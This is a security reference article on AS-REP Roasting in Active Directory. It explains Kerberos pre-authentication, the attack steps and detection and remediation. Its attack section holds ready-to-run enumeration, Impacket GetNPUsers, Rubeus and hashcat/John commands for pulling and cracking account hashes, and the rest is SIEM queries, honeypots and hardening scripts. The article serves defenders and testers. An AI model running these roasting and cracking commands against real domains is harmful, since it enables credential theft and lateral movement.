
AS-REP Roasting Attack and Defense
AS-REP Roasting attack targeting accounts without Kerberos pre-authentication. Offline password cracking techniques and detection strategies.
Description
AS-REP Roasting targets Active Directory accounts that have Kerberos pre-authentication turned off. For those accounts the KDC hands out a reply encrypted with a key derived from the user's password, and you can crack that reply offline.
Normally pre-authentication makes the client prove it knows the password before the Key Distribution Center (KDC) issues a Ticket Granting Ticket (TGT). When an account has the DONT_REQ_PREAUTH flag set, the KDC skips that check and returns the AS-REP to whoever asks.
Why it shows up on engagements:
- You need no credentials for the request itself, only a valid username for an affected account.
- Cracking happens on your own hardware, so the domain sees nothing after the single request.
- The request produces a normal-looking Event ID 4768 on the DC and no failed logon.
- Legacy applications and old service accounts are the usual places the flag is still set.
Hard to spot
An AS-REQ is ordinary Kerberos traffic. The only trace on the DC is a 4768 event with pre-authentication type 0, which many environments never alert on.
Impact
A cracked AS-REP gives you the account's cleartext password. What that is worth depends on the account:
- Service accounts with the flag set often carry more rights than they need, sometimes local admin on servers or membership in privileged groups.
- The password works anywhere the account can log on, which opens lateral movement.
- Service account passwords are rarely rotated, so the credential tends to stay valid for months.
- Even an unprivileged user gives you an authenticated foothold for LDAP enumeration and Kerberoasting.
The worst case is an administrative account with the flag set and a weak password.
Technical details
How Kerberos pre-authentication works
A normal Kerberos logon runs like this:
AS-REQ (authentication service request)
The client sends a request to the KDC that includes a timestamp encrypted with a key derived from the user's password.
Pre-authentication check
The KDC decrypts the timestamp with its stored copy of the key. If it decrypts and the time is close enough, the user is verified.
AS-REP (authentication service response)
The KDC returns a TGT plus a session key. The part holding the session key is encrypted with the user's key, and that is the part you crack.
TGS-REQ (ticket granting service request)
The client presents the TGT to ask for a service ticket.
TGS-REP (ticket granting service response)
The KDC issues the service ticket for the requested resource.
Attack flow
With pre-authentication off, the steps are:
Enumerate vulnerable accounts
Find accounts with DONT_REQ_PREAUTH set through LDAP. This needs any domain account:
# Using PowerShell
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
# Using PowerView
Get-DomainUser -PreauthNotRequired -Properties distinguishedname, samaccountnameRequest an AS-REP without pre-authentication
Without credentials, feed GetNPUsers a username list and it requests an AS-REP for each name:
# Using Impacket's GetNPUsers.py
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat
# Request for specific user
GetNPUsers.py domain.local/vulnerable_user -no-pass -dc-ip 192.168.1.10Capture the encrypted AS-REP
With RC4 (etype 23) the reply is encrypted with the user's NT hash as the key. The output looks like this:
# Example AS-REP hash output
$krb5asrep$23$vulnerable_user@DOMAIN.LOCAL:
8a8d5f2c3b1e4f6a9c7d2e5f8b3a6c9d$
7e4f8a2b5c9d3e6f1a4b7c8e2d5f9a3b...Crack it offline
Hashcat mode 18200 or John's krb5asrep format handle it:
# Using Hashcat
hashcat -m 18200 asrep_hashes.txt rockyou.txt -r rules/best64.rule
# Using John the Ripper
john --format=krb5asrep asrep_hashes.txt --wordlist=rockyou.txtHash format
| Part | Meaning |
|---|---|
$krb5asrep$23$ | Kerberos AS-REP, etype 23 (RC4-HMAC) |
username@DOMAIN | Target user and domain |
| Remaining data | The encrypted part of the reply that holds the session key |
Tools
Impacket GetNPUsers.py
The usual choice from a Linux attack box:
# Enumerate vulnerable users (no credentials needed)
GetNPUsers.py domain.local/ -dc-ip 10.10.10.1 -usersfile users.txt -format hashcat -outputfile hashes.txt
# Target specific user
GetNPUsers.py domain.local/serviceaccount -no-pass -dc-ip 10.10.10.1
# With domain credentials for enumeration
GetNPUsers.py domain.local/user:password -dc-ip 10.10.10.1 -requestRubeus (Windows)
# Enumerate and roast AS-REP accounts
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Target specific user
Rubeus.exe asreproast /user:vulnerable_user /format:hashcat
# Target a specific domain and DC
Rubeus.exe asreproast /user:target /domain:domain.local /dc:dc01.domain.local
# Use alternate credentials for the LDAP enumeration
Rubeus.exe asreproast /domain:domain.local /creduser:domain.local\user /credpassword:Password123PowerView
# Enumerate AS-REP roastable accounts
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname, userprincipalname
# Combined enumeration
Get-DomainUser -PreauthNotRequired -Properties distinguishedname, serviceprincipalname, descriptionDetection
Detection comes down to watching TGT requests on the DCs and picking out the ones made without pre-authentication.
Event logs
Event ID 4768: Kerberos TGT request
Filter for TGT requests that succeeded with pre-authentication type 0:
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4768)]]
and
*[EventData[Data[@Name='PreAuthType']='0']]
and
*[EventData[Data[@Name='Status']='0x0']]
</Select>
</Query>
</QueryList>What to look for:
- PreAuthType = 0 (indicates no pre-authentication)
- Multiple requests for same user from different source IPs
- Requests for service accounts from workstations
- A burst of failed pre-auth requests followed by successful ones
Event ID 4771: Kerberos pre-authentication failed
Repeated failures can point to username enumeration or spraying before the roast:
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4771} |
Where-Object {$_.Properties[6].Value -eq '0x18'} |
Group-Object {$_.Properties[0].Value} |
Where-Object Count -gt 10SIEM queries
Splunk:
# Detect AS-REP requests without pre-auth
index=windows EventCode=4768 Pre_Authentication_Type=0
| stats count by src_ip, Account_Name, Service_Name
| where count > 5
# Identify accounts targeted for AS-REP roasting
index=windows EventCode=4768 Pre_Authentication_Type=0
| stats dc(src_ip) as unique_sources by Account_Name
| where unique_sources > 3Microsoft Sentinel (KQL):
// AS-REP Roasting detection
SecurityEvent
| where EventID == 4768
| where PreAuthenticationType == "0"
| summarize RequestCount=count(), UniqueIPs=dcount(IpAddress) by TargetUserName, bin(TimeGenerated, 1h)
| where RequestCount > 10 or UniqueIPs > 3
// Failed pre-auth enumeration
SecurityEvent
| where EventID == 4771
| where Status == "0x18"
| summarize FailureCount=count() by TargetUserName, IpAddress, bin(TimeGenerated, 5m)
| where FailureCount > 20Elastic (ECS):
{
"query": {
"bool": {
"must": [
{"term": {"event.code": "4768"}},
{"term": {"winlog.event_data.PreAuthType": "0"}}
]
}
},
"aggs": {
"by_user": {
"terms": {"field": "winlog.event_data.TargetUserName"},
"aggs": {
"unique_sources": {
"cardinality": {"field": "source.ip"}
}
}
}
}
}Behavioral detection
- Build a baseline of normal AS-REQ sources and volume per account, then alert on new source IPs, odd hours or spikes.
- Flag any AS-REQ for a service account that comes from a workstation.
- Correlate hits with other activity from the same source, such as LDAP enumeration just before.
Honeypot accounts
A decoy account with pre-auth disabled and no legitimate use gives a high-signal alert. Any 4768 for it is worth a look:
# Create honeypot account
New-ADUser -Name "svc_honeypot" -AccountPassword (ConvertTo-SecureString "ComplexP@ssw0rd!" -AsPlainText -Force) -Enabled $true
# Disable pre-authentication
Set-ADAccountControl -Identity "svc_honeypot" -DoesNotRequirePreAuth $true
# Alert on ANY AS-REP request for this accountRemediation
Immediate response
1. Identify vulnerable accounts
Enumerate accounts with pre-auth disabled
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth, PasswordLastSet, LastLogonDate |
Select-Object Name, DoesNotRequirePreAuth, PasswordLastSet, LastLogonDate |
Export-Csv vulnerable_accounts.csvReview and document business justification
Decide whether any account really needs pre-auth disabled.
Reset passwords on affected accounts
Assume any flagged account's hash has already been taken and change its password.
2. Enable pre-authentication
# Enable pre-auth for specific user
Set-ADAccountControl -Identity "vulnerable_user" -DoesNotRequirePreAuth $false
# Bulk enable for all users (verify first!)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
ForEach-Object {
Set-ADAccountControl -Identity $_ -DoesNotRequirePreAuth $false
Write-Host "Enabled pre-auth for $($_.SamAccountName)"
}3. Reset passwords
# Reset password for compromised account
Set-ADAccountPassword -Identity "compromised_user" -NewPassword (ConvertTo-SecureString "NewC0mplex!P@ssw0rd" -AsPlainText -Force) -Reset
# Force password change at next logon
Set-ADUser -Identity "compromised_user" -ChangePasswordAtLogon $true4. Revoke active Kerberos tickets
# On domain controller - purge tickets
klist purge -li 0x3e7
# Reset computer account password to invalidate tickets
Reset-ComputerMachinePasswordLonger-term hardening
1. Enforce strong password policies
If pre-auth stays off anywhere, password length is what stands between the hash and a crack:
# Set minimum password length
Set-ADDefaultDomainPasswordPolicy -Identity domain.local -MinPasswordLength 15
# Enable password complexity
Set-ADDefaultDomainPasswordPolicy -Identity domain.local -ComplexityEnabled $true
# Set password history
Set-ADDefaultDomainPasswordPolicy -Identity domain.local -PasswordHistoryCount 242. Audit accounts regularly
# Automated audit script
$VulnerableUsers = Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth, ServicePrincipalName
foreach ($user in $VulnerableUsers) {
$age = (Get-Date) - $user.PasswordLastSet
if ($age.Days -gt 90) {
Write-Warning "$($user.Name) has pre-auth disabled and password is $($age.Days) days old"
# Send alert to security team
}
}3. Watch for configuration changes
# Alert on UserAccountControl changes
$Events = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4738} -MaxEvents 1000
$Events | Where-Object {
$_.Message -match "Don't Require Preauth" -and $_.Message -match "Enabled"
} | ForEach-Object {
Write-Warning "Pre-auth disabled for account: $($_.Properties[0].Value)"
}4. Privileged account handling
- Use dedicated admin accounts separate from standard user accounts
- Never disable pre-auth for administrative accounts
- Rotate service account passwords regularly (every 90 days minimum)
- Use Group Managed Service Accounts (gMSAs) where possible
5. Network segmentation
- Limit which networks can reach the DCs on Kerberos (88/tcp and 88/udp).
- Route remote administration through VPNs or jump boxes.
Prevention
Service account hardening
Don't disable pre-authentication for service accounts. Use Group Managed Service Accounts (gMSAs) instead:
# Create gMSA (automatically manages passwords)
New-ADServiceAccount -Name "svc_app_gmsa" `
-DNSHostName app01.domain.local `
-PrincipalsAllowedToRetrieveManagedPassword "App Servers" `
-KerberosEncryptionType AES256
# Install on target server
Install-ADServiceAccount -Identity "svc_app_gmsa"A gMSA gets a long random password that Active Directory rotates automatically (every 30 days by default), keeps pre-authentication on, and supports AES256.
Legacy systems
If a legacy system really needs pre-auth disabled:
- Give the legacy system its own dedicated account and use it for nothing else.
- Add compensating controls:
- a password of 25 characters or more
- restrict the account to specific source IPs
- a short password expiry (30 days)
- Write down a timeline for retiring the legacy dependency.
- Alert in real time on every AS-REQ for the account.
# If pre-auth must stay disabled, set very strong password
$Password = -join ((33..126) | Get-Random -Count 30 | ForEach-Object {[char]$_})
Set-ADAccountPassword -Identity "legacy_svc" -NewPassword (ConvertTo-SecureString $Password -AsPlainText -Force) -Reset
# Log the decision with business justification
Set-ADUser -Identity "legacy_svc" -Description "Pre-auth disabled - Business justification: Legacy App X - Approved by: CIO - Review date: 2026-01-01"Fine-grained password policies
Apply a stricter password settings object (PSO) to service accounts:
# Create PSO for service accounts
New-ADFineGrainedPasswordPolicy -Name "ServiceAccountPolicy" `
-Precedence 10 `
-MinPasswordLength 20 `
-PasswordHistoryCount 24 `
-MaxPasswordAge "90.00:00:00" `
-MinPasswordAge "1.00:00:00" `
-ComplexityEnabled $true `
-ReversibleEncryptionEnabled $false `
-LockoutThreshold 3 `
-LockoutDuration "00:30:00" `
-LockoutObservationWindow "00:30:00"
# Apply to service accounts OU
Add-ADFineGrainedPasswordPolicySubject -Identity "ServiceAccountPolicy" `
-Subjects "OU=Service Accounts,DC=domain,DC=local"Scheduled checks
A daily script that reports any account with the flag set:
# Daily vulnerability scan script
$Report = @()
$VulnerableAccounts = Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties *
foreach ($account in $VulnerableAccounts) {
$Report += [PSCustomObject]@{
Account = $account.SamAccountName
LastPasswordSet = $account.PasswordLastSet
PasswordAge = ((Get-Date) - $account.PasswordLastSet).Days
LastLogon = $account.LastLogonDate
MemberOf = $account.MemberOf -join "; "
Enabled = $account.Enabled
SPNs = $account.ServicePrincipalNames -join "; "
}
}
# Email to security team if vulnerable accounts found
if ($Report.Count -gt 0) {
$Report | Export-Csv "AS-REP_Vulnerable_Accounts_$(Get-Date -Format 'yyyy-MM-dd').csv"
# Send-MailMessage with report attachment
}Verification
Check the fix
Look for remaining vulnerable accounts
# Comprehensive vulnerability check
$Results = Get-ADUser -Filter * -Properties DoesNotRequirePreAuth, AdminCount, ServicePrincipalName, MemberOf |
Where-Object {$_.DoesNotRequirePreAuth -eq $true} |
Select-Object Name, SamAccountName, DoesNotRequirePreAuth, AdminCount,
@{N='IsAdmin';E={$_.AdminCount -eq 1}},
@{N='HasSPN';E={$_.ServicePrincipalName.Count -gt 0}},
@{N='Groups';E={$_.MemberOf.Count}}
if ($Results.Count -eq 0) {
Write-Host "SUCCESS: No accounts with pre-authentication disabled" -ForegroundColor Green
} else {
Write-Host "WARNING: Found $($Results.Count) vulnerable accounts" -ForegroundColor Red
$Results | Format-Table -AutoSize
}Test detection
# Controlled test (requires authorization)
# Using Rubeus in isolated test environment
Rubeus.exe asreproast /format:hashcat
# Verify alerts are generated in SIEM
# Check Event ID 4768 logging
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768;StartTime=(Get-Date).AddMinutes(-5)} |
Where-Object {$_.Properties[8].Value -eq 0} |
Format-List TimeCreated, MessageAudit password age
# Check password ages for accounts without pre-auth
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $false} -Properties PasswordLastSet |
Select-Object Name, PasswordLastSet,
@{N='PasswordAge';E={(Get-Date) - $_.PasswordLastSet}} |
Where-Object {$_.PasswordAge.Days -gt 90} |
Sort-Object PasswordAge -DescendingOther considerations
Hybrid and cloud directories
Azure AD (Entra ID):
AS-REP Roasting is an on-premises Active Directory attack. Entra ID sign-in does not use the Kerberos AS exchange, so there is no cloud-side equivalent to look for. Hybrid setups matter for what happens after the crack:
- With password hash synchronization, the user signs in to Entra ID with the same password as on-premises, so a cracked AS-REP hash of a synced account is also a cloud credential
- Find and fix the accounts on-premises, where the
DONT_REQ_PREAUTHflag lives - Watch Entra sign-in logs for the roasted accounts after an incident
AWS Directory Service:
AWS Managed Microsoft AD is ordinary Active Directory behind a managed service. aws ds has no describe-users command and no pre-authentication field, so run the same LDAP or PowerShell enumeration shown earlier from a host joined to the directory.
Kerberos encryption types
Encryption type
The AS-REP is encrypted with whatever etype the KDC agrees to. Restrict accounts to AES256 where you can:
# Set AES encryption for account
Set-ADUser -Identity "serviceaccount" -KerberosEncryptionType AES256
# Disable weaker encryption types domain-wide via GPO:
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Network security: Configure encryption types allowed for Kerberos" = AES256 onlyAES256 AS-REPs crack far slower than RC4 ones.
Related attacks
- Kerberoasting is the sibling attack: it cracks service tickets instead of AS-REPs, and needs a domain account, which a cracked AS-REP gives you.
- Cracked passwords feed password spraying, since people reuse them across accounts.
- Once you have the cleartext you can compute the NT hash and pass it.
- A cracked service account password lets you forge silver tickets for that service.
References
MITRE ATT&CK
- T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting - Primary technique for AS-REP roasting
- T1558 - Steal or Forge Kerberos Tickets - Parent technique for Kerberos attacks
- T1110.002 - Brute Force: Password Cracking - Offline cracking of extracted AS-REPs
- T1087.002 - Account Discovery: Domain Account - Identifying accounts without preauth
Microsoft documentation
- Microsoft: Kerberos Pre-Authentication - Understanding preauth requirements
- Microsoft: Group Managed Service Accounts - gMSA implementation
Research
- Harmj0y: Roasting AS-REPs - Original research
- CIS Benchmark: Active Directory Security - Hardening standards
Tools
- Impacket GetNPUsers - Python AS-REP roasting
- Rubeus - Kerberos abuse toolkit
- Hashcat - Password cracking for AS-REP hashes
Next steps
If you find roastable accounts:
- Enable pre-authentication on every affected account.
- Reset passwords on any account that may already have been roasted.
- Alert on Event ID 4768 with PreAuthType=0.
- Move service accounts to gMSAs.
- Related Active Directory attacks:
ADCS attacks: certificate services privilege escalation (ESC1 to ESC8)
Active Directory Certificate Services misconfigurations from the ESC1 to ESC8 set, and how each one gets you a certificate for a privileged account.
DCSync attack: extracting domain credentials
How DCSync abuses AD replication rights to pull password hashes from a Domain Controller, with the commands, detection and fixes.